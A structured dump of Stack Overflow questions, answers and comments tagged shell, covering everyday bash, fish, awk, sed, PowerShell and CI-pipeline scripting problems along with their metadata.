answers question: http://stackoverflow.com/q/76769065
has comment: http://stackoverflow.com/comment/135347286
score: 0

http://stackoverflow.com/comment/135346270
score: 0
comment on: http://stackoverflow.com/a/76772518
type: Comment
type: AnswerComment
has text: Yes, simplifying seems to make sense here, I was going to recommend something like `cmd_producing_output | wc -[cwl]` (take your pick from `[cwl]` (`man wc`) ). Good luck to all.

http://stackoverflow.com/comment/135354194
type: Comment
comment on: http://stackoverflow.com/q/76776756
has text: Did you really name a directory with a `.exe` extension? That's typically used for executable programs on Windows.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135329287
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76751024
score: 0
has text: How about using `grep -n` and saving the last grepped line somewhere in a file? If a new log entry arrived, the newly found line will have a higher line number, and you know that it is a new event, which needs to be mailed.

http://stackoverflow.com/comment/135347382
type: AnswerComment
comment on: http://stackoverflow.com/a/76773101
has text: Or a bit shorter with a single substitution: `sort temp_data.txt|uniq -c|sed 's/^\s*\([0-9]*\)\s*/"\1",/'`
score: 1
type: Comment

http://stackoverflow.com/q/76793056
accepted answer: http://stackoverflow.com/a/76793118
type: Question
tagged with: shell
tagged with: pipe
tagged with: stream
score: 1
upvote count: 1
has title: fish `while read` blocks until stdin is finished while sh/bash computes immediately
downvote count: 0
tagged with: fish
tagged with: bash
has body: Take the following sh/bash script: { echo abc sleep 2 echo def } | while read f; do echo $f "has been piped" done The block represents a command that slowly produces output on separate lines. For each line a computation is launched as soon as it reaches stdin of while. If we translate this to fish: begin echo abc sleep 2 echo def end | while read -l f echo $f "has been piped" end the behaviour unexpectedly changes: for two seconds nothing happens and then we get both lines of output at once. The entire while block does not start computing until the stream finishes sending data. Why does the behaviour in fish differ and how do you make it match sh/bash?
answer count: 1
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135384816
has answer: http://stackoverflow.com/a/76793118
has comment: http://stackoverflow.com/comment/135389600

http://stackoverflow.com/comment/137385623
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76870158
has text: Mind, I don't think it's accurate to say that `set -o pipefail` prevents surprises -- [it also can _create_ surprises](https://stackoverflow.com/questions/41516177/bash-zcat-head-causes-pipefail). I'd argue that people expecting shell error-handling to be intuitive or simple are operating on unexamined assumptions; those assumptions lead to [things like the wildly unintuitive behavior of `set -e`](https://mywiki.wooledge.org/BashFAQ/105), and are better replaced with explicit, hand-written and hand-reviewed error handling.
type: Comment

http://stackoverflow.com/a/76785210
has comment: http://stackoverflow.com/comment/135368864
has body: This happen because echo in build-in command in the shell. So different shells have different implementation of same command. Better use printf where you define exactly what and how you want to see the things. Or as suggested in comment use OS executable: /usr/bin/echo.....
accepted answer of: http://stackoverflow.com/q/76785187
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135368742
has comment: http://stackoverflow.com/comment/135368874
downvote count: 0
answers question: http://stackoverflow.com/q/76785187
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/135368704

http://stackoverflow.com/comment/135507211
score: 1
has text: We cannot guess all the details. Please edit your question and provide realistic, relevant inputs and expected outputs. If you can have more or less than 4 columns, please clearly indicate that. A quick look at the [help center](https://stackoverflow.com/help) and especially at the [How to create a Minimal, Reproducible Example](https://stackoverflow.com/help/mcve) section could probably help improving your question.
comment on: http://stackoverflow.com/a/76864973
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76772789
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/135348056
tagged with: return
has body: I am currently working on a simple shell program in C, but I am facing an issue with the return status of my code. The problem is that the shell should return 0 upon successful execution of a command, but it always returns 1, even when the command runs correctly. I have provided the relevant parts of the code below: main function The main function handles the overall flow of the shell program. It repeatedly prompts for user input, executes commands using exe_cmd, and frees allocated memory using the memory function. I'm unable to identify the specific reason for the return status issue here. #include "shell.h" /** * main - entry point * * Return: 0 if succ * */ int main(void) { char *input; char **args; int stat; do { if (isatty(STDIN_FILENO)) write(1, "ous&zoh$ ", 9); /*prompt*/ input = read_line(); if (input == NULL) { exit(EXIT_FAILURE); } args = break_line(input); if (args == NULL) { perror("Error"); free(input); exit(EXIT_FAILURE); } stat = exe_cmd(args); memory(input, args); } while (stat != -1); /*Continue until -1 : run until user type exit*/ return (0); } read_line function This function reads input from the user. It works as expected and doesn't seem to contribute to the return status problem. #include "shell.h" /** * read_line - read input from user * * Return: buffer */ char *read_line() { char *buffer = NULL; size_t len = 0; ssize_t char_read; char_read = getline(&buffer, &len, stdin); if (char_read == -1) { if (isatty(STDIN_FILENO)) perror("error"); if (buffer != NULL) free(buffer); return (NULL); } return (buffer); } exe_cmd function This function executes a command passed as arguments. I have thoroughly reviewed this function, and it seems to execute the commands correctly. However, it might be the source of the problem with the return status. #include "shell.h" /** * exe_cmd - executes cmd * * @args: arg for cmd * * Return: 0 if scc or -1 if error */ int exe_cmd(char **args) { pid_t pid; int stat; int exe; int exit_stat; if (args == NULL || args[0] …
linked to: http://stackoverflow.com/q/1449181
has comment: http://stackoverflow.com/comment/135348039
has comment: http://stackoverflow.com/comment/135348259
score: 0
type: Question
answer count: 0
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135347111
has comment: http://stackoverflow.com/comment/135348096
has comment: http://stackoverflow.com/comment/135347130
has comment: http://stackoverflow.com/comment/135348365
tagged with: status
has comment: http://stackoverflow.com/comment/135347139
has title: Issue with Simple Shell - Return Status Always 1

http://stackoverflow.com/comment/135360474
comment on: http://stackoverflow.com/a/76774857
score: 0
type: Comment
has text: It's the principle of it. This is the perl analog to awk's -v option. What if pattern contains a single quote? (answer: `"print if \$F[0] ne '${pattern//\'/\\\'}'"`)
type: AnswerComment

http://stackoverflow.com/q/76772469
tagged with: shell
duplicate of: http://stackoverflow.com/q/39527571
has comment: http://stackoverflow.com/comment/135346192
type: UnansweredQuestion
has title: How to set a variable from the first line of a file in a bash script?
linked to: http://stackoverflow.com/q/39527571
tagged with: linux
tagged with: bash
has body: I have a file called test.txt. the content of the has two line/rows in it i-08ece3afc i-0001db77b so I have done like this but #!/bin/bash set -x head -1 /home/test.txt > /test1.txt #it has now one row in test1.txt file="/home/test1.txt" name=$(cat "$file") echo "name=$name" but the out is head -1 /home/test.txt + file=/home/test1.txt ++ cat /home/test1.txt + name=$'i-08ece3afc\r' + echo $'name=i-08ece3afc\r' name=i-08ece3afc file1="${name}" file1= $'i-08ece3afc\r' and giving ERROR as failed to satisfy constraint: Member must satisfy regular expression pattern: ^[a-zA-Z0-9_:-]{1,400}$ ' I can see the variable name is correct in the output but why name ,echo file1 is giving trailing as $ ' & leading \r' I am expecting the output as head -1 /home/test.txt + file=/home/test1.txt ++ cat /home/test1.txt + name=i-08ece3afc + echo name=i-08ece3afc name=i-08ece3afc file1="${name}" file1= i-08ece3afc
has comment: http://stackoverflow.com/comment/135346301
score: 0
type: Question
answer count: 0

http://stackoverflow.com/q/76869809
upvote count: 1
favorite count: 0
answer count: 2
has body: I have a powershell function that I run that tells me how long any command I run takes. It looks like this. (Measure-Command { <command> | Out-Default }).TotalSeconds | ForEach-Object { $totalMinutes = [math]::Floor($_ / 60); $remainingSeconds = $_ % 60; Write-Host "Time Elapsed: $totalMinutes Minutes, $remainingSeconds seconds" } I want to be able to run this like this: c:\files> timer <command> I want to save that function to my profile. I know where my profile file is and how to edit it, but I do not know how to save this function to my profile so that I can just execute as I described timer <command> like for example timer py --version. Can you please show me what the proper syntax would be?
has title: How to save a powershell function that takes a paramter
downvote count: 0
type: Question
has answer: http://stackoverflow.com/a/76869977
tagged with: shell
has answer: http://stackoverflow.com/a/76876203
type: UnansweredQuestion
score: 1
tagged with: powershell

http://stackoverflow.com/comment/135423111
type: QuestionComment
type: Comment
has text: You have some obvious error messages giving evidence your image already exists. Which steps did you take to debug the unlock/destroy phases in your script? As is, you're blindly ignoring any error.
comment on: http://stackoverflow.com/q/76816367
score: 0

http://stackoverflow.com/q/76845626
has answer: http://stackoverflow.com/a/76845841
has title: How to share a variable between scripts that run in parallel?
has comment: http://stackoverflow.com/comment/135479485
score: 0
type: Question
tagged with: linux
tagged with: bash
linked to: http://stackoverflow.com/q/34445176
answer count: 2
tagged with: concurrency
accepted answer: http://stackoverflow.com/a/76845841
tagged with: shell
has answer: http://stackoverflow.com/a/76850254
type: AnsweredQuestion
has body: I would like to run two bash scripts simultaneously executed by a parent script that exports a variable with read and write privileges between all these scripts. Let's say I have 3 scripts: parent.sh, children1.sh, children2.sh. From parent.sh I am exporting a SOME_VAR variable and executing ./children1.sh & children2sh simultaneously. Then in children1.sh and children2.sh I am performing some operation. In addition, we can see children2.sh is overriding SOME_VAR variable with value 20. I would like to have this change to be reflected in parent.sh. So, for example, let's say I have such scripts: parent.sh #!/bin/bash SOME_VAR=100 export SOME_VAR bash ./children1.sh & ./children2.sh echo "New SOME_VAR value: $SOME_VAR" children1.sh #!/bin/bash for i in {1..3} do echo "### FIRST PROCESS $i" done children2.sh #!/bin/bash for i in {1..3} do echo "### SECOND PROCESS $i" done SOME_VAR=20 Now if I execute bash ./parent.sh I get such output: ### SECOND PROCESS 1 ### FIRST PROCESS 1 ### SECOND PROCESS 2 ### FIRST PROCESS 2 ### SECOND PROCESS 3 ### FIRST PROCESS 3 New SOME_VAR value: 100 Unfortunately, it looks like that children2.sh operation was not reflected back to parent.sh and SOME_VAR variable is still equal to 100 instead of 20. I came up with the idea that each script can create a file and write its output to this file. Later, these files can be read by the parent script after the children's scripts finish their work. This solution sounds a bit hacky to me. I am not a bash expert, so maybe someone can help me with a more sufficient solution. There is one requirement: You can NOT use any 3rd party libraries/tools like for example, GNU Parallel
possible better answer: http://stackoverflow.com/a/76850254

http://stackoverflow.com/comment/135404826
type: AnswerComment
has text: That will replace all commas. OP wants to replace on the comma-as-data in the 3rd column and leave all the delimiting commas alone.
score: 1
comment on: http://stackoverflow.com/a/76805384
type: Comment

http://stackoverflow.com/comment/135262048
type: Comment
has text: In Coreutils, there's [`numfmt`](https://www.gnu.org/software/coreutils/manual/html_node/numfmt-invocation.html) that can print numbers in different formats, including locale-dependent; it's not straightforward to use it to convert formats between locales, though.
comment on: http://stackoverflow.com/q/76722348
type: QuestionComment
score: 0

http://stackoverflow.com/q/76720948
downvote count: 0
has comment: http://stackoverflow.com/comment/135259670
favorite count: 0
has body: I am trying to catch the error code of a command and assign the output of a command to a variable in an if statement. My code looks like this: if ! ret=$(<some_command>); then rc=$? echo "<some_command> returned with exit code: $rc" echo "$ret" fi Here I want to assign the output of a command to ret and assign only the error code of <some_command> to rc. Since this script have set -e, I cannot just run the command standalone. As soon as the command fails, the script exits, but I do not want to exit the script, rather get the error code as well as the error into an variable. How to get this working?
linked to: http://stackoverflow.com/q/30078281
score: 2
has answer: http://stackoverflow.com/a/76723398
has answer: http://stackoverflow.com/a/76721404
has comment: http://stackoverflow.com/comment/135259381
has title: How to get error code and command output when using set -e?
has answer: http://stackoverflow.com/a/76722057
type: Question
tagged with: shell
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/35800082
has answer: http://stackoverflow.com/a/76721919
answer count: 4
upvote count: 2
tagged with: bash

http://stackoverflow.com/comment/135289622
score: 1
type: QuestionComment
type: Comment
has text: fyi ... the variables `fileCounter` and `dirCounter` are currently defined 'globally'; this means that each time they are changed said change will be seen at all levels of recursion; depending on how your code is written this could show up in your final results as a) gaps in numbering at a given level and/or b) files/dirs disappearing (eg, `mv a file1; mv b file1` will result in a single file named `file1`); you'll likely want to redefine those variables as 'local' (eg, `local fileCounter=1; local dirCounter=1`) so that each recursion call gets its own set of variables
comment on: http://stackoverflow.com/q/76736625

http://stackoverflow.com/comment/135306916
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/76749128
has text: Interesting, but for example this line in fish shell creates a background job that still sleeps, echoes the text to screen but also the shell process changes the directory (assuming we are in /home/user dir): `sleep 5 | echo hello | cd .config&`. Are they cheating by actually blocking the terminal for that miniscule amount of time and running the rest in background?

http://stackoverflow.com/comment/135378305
type: QuestionComment
has text: those are seq numbers and need to pair them as first and last seq number
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76790926

http://stackoverflow.com/a/76856183
type: AcceptedAnswer
has body: I suspect this isn't a problem with the command at all, but with something in the templates.sed file. Specifically, I suspect there's a line like workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed ...which sed will interpret as the w command (write the pattern space to a file), with the filename "orkdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed". Here's a quick demo: $ cat demo.sed workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed $ sed -f demo.sed sed: orkdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed: No such file or directory Try running grep orkdir /Users/cbongior/dev/omc/workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed and see what it shows.
has comment: http://stackoverflow.com/comment/135491654
downvote count: 0
type: Answer
upvote count: 6
answers question: http://stackoverflow.com/q/76855842
accepted answer of: http://stackoverflow.com/q/76855842
score: 6
has comment: http://stackoverflow.com/comment/135501454

http://stackoverflow.com/comment/135489976
has text: So, for example, to replace `grep foo | awk '{print $3}'`, you'd use `awk '/foo/ { print $3 }'`. To make awk also replace strings you might use `gsub`, but awk is a whole general-purpose scripting language, so I can't really summarize it in a comment.
comment on: http://stackoverflow.com/q/76854869
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/76753350
has body: i have below two yaml template test-template.yml jobs: -job: Pytest steps: - task: UsepythonVersion displayName: 'Pytest1' inputs: verion_secific: some_pthon_version script: pytest -v tests -k "pretest_case1" jobs: -job: Pytest steps: - task: UsepythonVersion displayName: 'Pytest2' inputs: verion_secific: some_pthon_version script: pytest -v tests -k "postTest_case2" Main.yaml steps: - task: Bash@3 displayName: 'Before inserted step' inputs: targetType: inline script: echo "This step is before the inserted step." stages - stage:test_int1 pool: vmImage : ubuntu jobs: - template: test-template.yml<Pytest1 > - stage:test_int2 pool: vmImage : ubuntu jobs: - template: test-template.yml<Pytest2 > how to call each "Pytest1" and "Pytest2" respectively in Main.yaml from test-template.yml? i tried with below script without using python parameters: - name: jobName type: string - name: proj_name type: string jobs: - job: ${{ parameters.jobName }} steps: - script: | # Set the test_case_name based on jobName if [ "${{ parameters.jobName }}" = "Pytest2" ]; then test_case_name="not Pytest2" else test_case_name="Pytest2" fi # Run pytest with the computed test_case_name pytest -v tests -k "$test_case_name" # Capture the exit code of pytest exit_code=$? # Handle the exit_code as needed (e.g., print a message or exit with an error code) if [ $exit_code -ne 0 ]; then echo "Tests failed" exit 1 fi but it looks like below part not evaluating the if condition even though the value is "Pytest2" if [ "${{ parameters.jobName }}" = "Pytest2" ] Any right approach?
type: UnansweredQuestion
answer count: 1
tagged with: azure-devops
score: 0
has answer: http://stackoverflow.com/a/76753712
tagged with: azure-pipelines
tagged with: yaml
tagged with: devops
type: Question
has title: Azure Devops - How to refer/read a specific script from other yaml in the main yaml template?
tagged with: shell

http://stackoverflow.com/comment/135329239
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76751024
type: Comment
has text: @PaulPazderski : Good point! Certainly one way to do it....

http://stackoverflow.com/comment/135273888
score: 1
comment on: http://stackoverflow.com/q/76728488
type: QuestionComment
type: Comment
has text: Nothing wrong with the variable, not quoting it is wrong.

deno
tags question: http://stackoverflow.com/q/76782298
type: Tag
tag name: deno
tags question: http://stackoverflow.com/q/77028902

http://stackoverflow.com/q/76881285
tagged with: shell
tagged with: linux
has answer: http://stackoverflow.com/a/76884423
has comment: http://stackoverflow.com/comment/135534732
type: UnansweredQuestion
has body: Purpose Set the env global variable in the shell script and then execute the shell script each time to generate a file with a different name The code below #!/bin/bash # get env value if [ -z "$PROGRAM_COUNT" ]; then export PROGRAM_COUNT=1 fi count=$PROGRAM_COUNT count=$((count+1)) # update env value export PROGRAM_COUNT=$count echo "================= $PROGRAM_COUNT" # use env as name filename="image_$count.gif" export LD_LIBRARY_PATH=/data1/yangyusan/tool/ffmpeg-3.4.12/output/lib:$LD_LIBRARY_PATH gdb -ex run --args ffmpeg -i Chn0_20230706_112728_proc0.bmp $filename The result of the printout has been incremented by one. printf_result But After running the script, the environment variable is still 1 env_result expected outcome The environment variable can be incremented by one every time, and the names of the pictures obtained are different
tagged with: environment-variables
answer count: 1
has title: It doesn't take effect when I set the environment variable in the shell script
has comment: http://stackoverflow.com/comment/135535403
has comment: http://stackoverflow.com/comment/135540551
duplicate of: http://stackoverflow.com/q/63084354
has comment: http://stackoverflow.com/comment/135538177
has comment: http://stackoverflow.com/comment/135537509
linked to: http://stackoverflow.com/q/63084354
score: 0
has comment: http://stackoverflow.com/comment/135534669
type: Question

http://stackoverflow.com/comment/135497895
has text: Sadly I don't know the Groovy based Jenkins well, so some questions: How does i.e. the Groovy variable $1 its value? If i.e. $5 is really a shell variable and not a Groovy variable, it would be the fifth positional parameter; where do you pass a value to this variable? How does Groovy know that $1 to $4 are Groovy vars, and $5 and $6 is a shell variable?
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76859636

http://stackoverflow.com/q/76770292
has answer: http://stackoverflow.com/a/76773082
has comment: http://stackoverflow.com/comment/135342608
has answer: http://stackoverflow.com/a/76773101
has comment: http://stackoverflow.com/comment/135342901
has comment: http://stackoverflow.com/comment/135347390
linked to: http://stackoverflow.com/q/15922706
has body: Suppose I have data as follows in a text file called temp_data.txt: "John","001-01-0001","engineering" "Smith","192-11-0292","human resources" "Brian","192-11-0292","operations" "Lucius","992-11-0292","human resources" "Smith","192-11-0292","human resources" Doing a uniq -c on top of this yields the following result: $ sort temp_data.txt | uniq -c > temp_data_count.txt $ cat temp_data_count.txt 1 "John","001-01-0001","engineering" 2 "Smith","192-11-0292","human resources" 1 "Brian","192-11-0292","operations" 1 "Lucius","992-11-0292","human resources" How would i translate the data in temp_data_count.txt to look like follows: “1”,"John","001-01-0001","engineering" “2”,"Smith","192-11-0292","human resources" “1”,"Brian","192-11-0292","operations" “1”,"Lucius","992-11-0292","human resources" I have tried awk - but the data seems to get truncated at the end. Copied from a comment: I have tried awk '{print "\x22" $2 "\x22",$1}' - but this just truncates the original data and the final file looks funny. Also, yes I am looking to get the quotes and comma in the first column data, and sorting of the data doesn't really matter here.
tagged with: scripting
has comment: http://stackoverflow.com/comment/135343516
has answer: http://stackoverflow.com/a/76771734
type: Question
duplicate of: http://stackoverflow.com/q/15922706
type: UnansweredQuestion
tagged with: unix
answer count: 3
has comment: http://stackoverflow.com/comment/135342582
tagged with: sh
has comment: http://stackoverflow.com/comment/135347337
score: 0
has title: How to format the data we get from the uniq -c function in linux?
tagged with: shell
tagged with: linux

http://stackoverflow.com/a/76760572
score: 0
has body: I wouldn't create a child process (sed or whatever), if I can do it easily within bash as well. Say we have line=abcBetty29abcdefghijklmnopqrstuvwxyz Then we can do new_line=${line/Betty29?????????????????????????//} Since counting the 25 question marks is error-prone, an alternative would be to use a regex: if [[ $line =~ ^(.*)Betty29.{25}(.*) ]] then new_line=${BASH_REMATCH[1]}${BASH_REMATCH[2]} else echo pattern not found 1&gt;&amp;2 fi
type: Answer
answers question: http://stackoverflow.com/q/76751837

http://stackoverflow.com/q/76817121
tagged with: bash
favorite count: 0
downvote count: 1
has answer: http://stackoverflow.com/a/76817630
tagged with: sed
has comment: http://stackoverflow.com/comment/135427096
has comment: http://stackoverflow.com/comment/135786889
answer count: 5
has comment: http://stackoverflow.com/comment/135423790
type: Question
tagged with: shell
has title: how to replace a part of statement between specific words without changing the rest of the statement in a file using shell script
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76817288
has body: For eg, the statement is as follows : Student named John has 23 apples. Docter says, apples are good for health. I want to replace the string between named and apples with Conor has 10 After executing the shell script, the string should be like as follows : Desired result : Student named Conor has 10 apples. Docter says, apples are good for health. For this I used the following sed command in a shell script: file="input.txt" new_text1="Conor has 10" sed -i "s/named.*apples/named $new_text1 apples/g" "$file" However, the output after executing this is as follows : Student named Conor has 10 apples that are good for health.
tagged with: sh
has answer: http://stackoverflow.com/a/76817834
score: -1
upvote count: 0
has answer: http://stackoverflow.com/a/76817420
has answer: http://stackoverflow.com/a/76817949

http://stackoverflow.com/comment/135528600
has text: @EdMorton it is, I need to have an emoji at the start.
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76877760

http://stackoverflow.com/comment/135346192
comment on: http://stackoverflow.com/q/76772469
has text: Your file has DOS line endings; POSIX tools don't consider the carriage return in the CR/LF line ending to have any special meaning and do not strip it as a result.
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76872375
has title: Bash Script: Adding newline after `read` command with -s flag
score: 0
tagged with: shell
has answer: http://stackoverflow.com/a/76928282
tagged with: git
answer count: 1
tagged with: echo
tagged with: bash
has comment: http://stackoverflow.com/comment/135519284
type: Question
has comment: http://stackoverflow.com/comment/135520464
type: UnansweredQuestion
has body: I am working on a BASH script that will install & configure git on a (new) linux machine and also clone the user's chosen repository. The script takes a couple of arguments and I'm trying to use the read command to handle that, like so: read -s -p "Please enter a valid Personal Access Token(PAT): " pat read -p "Please enter your Github username: " username On the first line, I added the -s flag to silence the user's input so that it does not display on the terminal. However, when I hit enter after inputting, the next command just runs on the same same line. My first attempt was to try to add a new line character to the first line and then to the second line: read -s -p "Please enter PAT: \n" pat read -p $"\nPlease enter username: " username. Both just printed the \n on the terminal. Then I tried with the $ expansion character on both lines: read -s -p $"Please enter PAT: \n" pat; and read -p "Please enter PAT: "$"\n" -s pat read -s -p $"\nPlease enter username: " username. These also just printed the \n character. Out of desperation, I even tried to lend the -e flag from echo; which didn't work, obviously. I expected that the lines just print one after the other on separate lines. I know this might seem like a small issue, but I can imagine how confusing it can be for a user that is not too familiar with the shell.

http://stackoverflow.com/comment/135392663
has text: The error message you’ve posted is because ```System.Net.IPAddress.Parse``` doesn’t understand CIDR ranges - see the documentation at https://learn.microsoft.com/en-us/dotnet/api/system.net.ipaddress.parse?view=net-7.0 which says the ```ipString``` parameter is “A string that contains an IP address in dotted-quad notation for IPv4 and in colon-hexadecimal notation for IPv6”. You can reproduce the error with simply ```[System.Net.IPAddress]::Parse("10.0.0.0/24")```. Not sure how that fits in with the rest of your goal, but that’s the root cause of the initial error…
comment on: http://stackoverflow.com/q/76792437
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135370035
comment on: http://stackoverflow.com/q/76785108
score: 0
type: QuestionComment
type: Comment
has text: @JohnBayko _You need something to associate a name with an array_: Recent `bash` supports namerefs. And `grep` suffices for the rest (see my answer).

http://stackoverflow.com/q/76813452
has comment: http://stackoverflow.com/comment/135419151
has comment: http://stackoverflow.com/comment/135417891
has comment: http://stackoverflow.com/comment/135417803
has comment: http://stackoverflow.com/comment/135418556
has comment: http://stackoverflow.com/comment/135418598
has comment: http://stackoverflow.com/comment/135418662
has comment: http://stackoverflow.com/comment/135418491
type: Question
has title: Shell script with if "$HOST" = "hostname" does not give expected result
tagged with: hostname
has comment: http://stackoverflow.com/comment/135417815
has body: echo $HOST on my laptop correctly shows Nbook as the hostname. But the simple shell script below always executes the first echo command regardless of the hostname I supply in the if condition above it. It seems I am missing something simple. Any help is appreciated. Thanks! #!/bin/sh if [ $HOST="whatever!" ]; then echo "This is Nbook" # always executes! elif [ $HOST="PC" ]; then echo "This is PC" else echo "Unknown host" fi EDIT: The modified code below, now with whitespaces around = in the if condition, still does not give the expected result. I should now get This is Nbook, but it executes the last echo command Unknown host instead. My understanding from the answers here is that "$HOST" = "Nbook" should be interpreted as three separate arguments to the test function, in which case = is the intended operator and should return true. Looks like I am again missing something. #!/bin/sh if [ "$HOST" = "Nbook" ]; then echo "This is Nbook" elif [ "$HOST" = "PC" ]; then echo "This is PC" else echo "Unknown host" fi UPDATE: Thanks to Charles Duffy's help in the comments below, the following code works (I replaced $HOST by $(hostname): #!/bin/sh host=$(hostname) if [ "$host" = "Nbook" ]; then echo "This is Nbook" elif [ "$host" = "PC" ]; then echo "This is PC" else echo "Unknown host" fi
linked to: http://stackoverflow.com/q/4977367
has comment: http://stackoverflow.com/comment/135418500
score: 0
has comment: http://stackoverflow.com/comment/135418602
tagged with: shell
answer count: 0
duplicate of: http://stackoverflow.com/q/4977367
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135418571

http://stackoverflow.com/a/76811134
has comment: http://stackoverflow.com/comment/135414498
downvote count: 0
answers question: http://stackoverflow.com/q/76810878
upvote count: 1
type: Answer
has body: The database name needs to go after the dump command, and then all the options. So your example would be: neo4j-admin database dump neo4j --verbose --to-path=D:\neo4j_library_5.10
has comment: http://stackoverflow.com/comment/135414450
score: 1
has comment: http://stackoverflow.com/comment/136210042

http://stackoverflow.com/q/76771604
answer count: 1
tagged with: azure-devops
tagged with: python-3.x
has answer: http://stackoverflow.com/a/76778093
tagged with: yaml
tagged with: azure
has title: Unable to invoke python inside the script within azure-devops pipeline
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
has body: i am trying to call pytest function inside the script within the azure-devops pipeline below is the code \parameters: - name: jobName type: string jobs: - job: ${{ parameters.jobName }} variables: my_id: "your_id_here" my_token: "your_token_here" steps: - task: PythonScript@0 inputs: scriptSource: 'inline' script: | import subprocess import os import sys def run_pytest(test_case): test_case_name = '' if test_case == 'Pytest2': test_case_name = 'not Pytest2' else: test_case_name = 'Pytest2' result = subprocess.run(['python', '-m', 'pytest', '-v', 'tests', '-k', test_case_name]) return result.returncode - ${{ if or(eq(parameters.jobName, 'Pytest1'), eq(parameters.jobName, 'Pytest2')) }}: - script: | exit_code = run_pytest('${{ parameters.jobName }}') if exit_code != 0: print('Tests failed') sys.exit(1) displayName: 'Run Pytest' - ${{ if not(or(eq(parameters.jobName, 'Pytest1'), eq(parameters.jobName, 'Pytest2'))) }}: - script: | echo "Invalid jobName: ${{ parameters.jobName }}" exit 1 displayName: 'Invalid Job Name' But while running the pipeline, it throwing the error "Syntax error near unexpected token 'run_pytest(Pytest2)' Pytest2 is the parameters.jobName Any solution to this?

http://stackoverflow.com/a/76864814
type: Answer
has body: When you use git status you get the changes you've made since the last commit, in your case it is telling you that the changes you made are that you deleted the file file ../activities/aboutme.txt, if you were to modify or delete any other file then that would show up if you run git status again. If you want to keep that file you just need to run git restore ../activities/aboutme.txt, if you want to commit that you deleted the file then run git add ../activities/aboutme.txt or if you just want to add all the changes you've made run git add ., although you would have to move to the root directory, since on the picture it looks like you are not on the root directory of your project. Hope this helps.
answers question: http://stackoverflow.com/q/76864756
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/76840695
tagged with: unix
has answer: http://stackoverflow.com/a/76842591
has answer: http://stackoverflow.com/a/76841320
has body: I want to find rows that have the same values in col1 and col2, and get their distinct third column Say I have this data City,Sunset,Anna City,Sunset,Anna City,Sunset,Ben City,Sunset,Ben My desired output is: City,Sunset,"Anna,Ben" So far, I have this code cat file.txt | sed 's/,/|/2' | awk -F"," '{if (!($1 in a)) a[$1] = $2; else a[$1]=a[$1] "," $2 } END { for (key in a) print key, a[key] }' OFS=, But Im only getting City,Sunset,Anna,Anna,Ben,Ben When the output should be City,Sunset,"Anna,Ben" Could someone help me with this one?
has comment: http://stackoverflow.com/comment/135466408
tagged with: linux
has comment: http://stackoverflow.com/comment/135466320
favorite count: 0
has answer: http://stackoverflow.com/a/76841046
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76840903
tagged with: awk
upvote count: 3
downvote count: 0
answer count: 5
accepted answer: http://stackoverflow.com/a/76841320
type: Question
has title: AWK command to get distinct values in a column based on the values in another column that are the same
tagged with: shell
has answer: http://stackoverflow.com/a/76842156
possible better answer: http://stackoverflow.com/a/76841046
score: 3

http://stackoverflow.com/q/76778171
has comment: http://stackoverflow.com/comment/135356371
tagged with: reactjs
tagged with: node.js
score: -1
type: Question
tagged with: shell
tagged with: javascript
has answer: http://stackoverflow.com/a/76778314
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135356366
favorite count: 0
has body: I've been trying to use the 'npx create-react-app' command to create a new React application, but it doesn't seem to be working for me. Has anyone else experienced this issue recently? I have a stable internet connection and have made sure that Node.js is up to date on my system. However, whenever I run the 'npx create-react-app' command, it fails to initiate the React application creation process. I've received an error message, but it doesn't provide much information about the problem. I've tried multiple times and even searched for similar issues online, but I couldn't find any recent reports or solutions related to this specific problem. My global npm packages, including 'create-react-app,' are also up to date. I'm not sure if this is a problem with my local setup or if there might be an issue with the 'npx create-react-app' command itself. If anyone has encountered a similar problem or has any insights on how to resolve this, I would greatly appreciate your help. npm ERR! code ENOSPC npm ERR! syscall write npm ERR! errno -4055 npm ERR! nospc ENOSPC: no space left on device, write npm ERR! nospc There appears to be insufficient space on your system to finish. npm ERR! nospc Clear up some disk space and try again. npm ERR! A complete log of this run can be found in: C:\Users\DELL\AppData\Local\npm-cache\_logs\2023-07-27T08_57_38_099Z-debug-0.log
downvote count: 1
has title: npx create-react-app command is throwing this error. what should i do to resolve this
answer count: 2
has answer: http://stackoverflow.com/a/76778205
tagged with: java
upvote count: 0

http://stackoverflow.com/comment/135307070
type: QuestionComment
has text: In fish, `echo hi | cd / | cat &` does seem to change the working directory of the main shell. In zsh or bash, it does not. It's an irrelevant point because `cd` cant be meaningfully used in a pipeline.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76749128

oh-my-zsh
tags question: http://stackoverflow.com/q/76734936
tag name: oh-my-zsh
type: Tag
tags question: http://stackoverflow.com/q/77139164
tags question: http://stackoverflow.com/q/78596252

http://stackoverflow.com/q/76722348
has comment: http://stackoverflow.com/comment/135262726
has comment: http://stackoverflow.com/comment/135262048
score: 0
type: Question
tagged with: shell
tagged with: linux
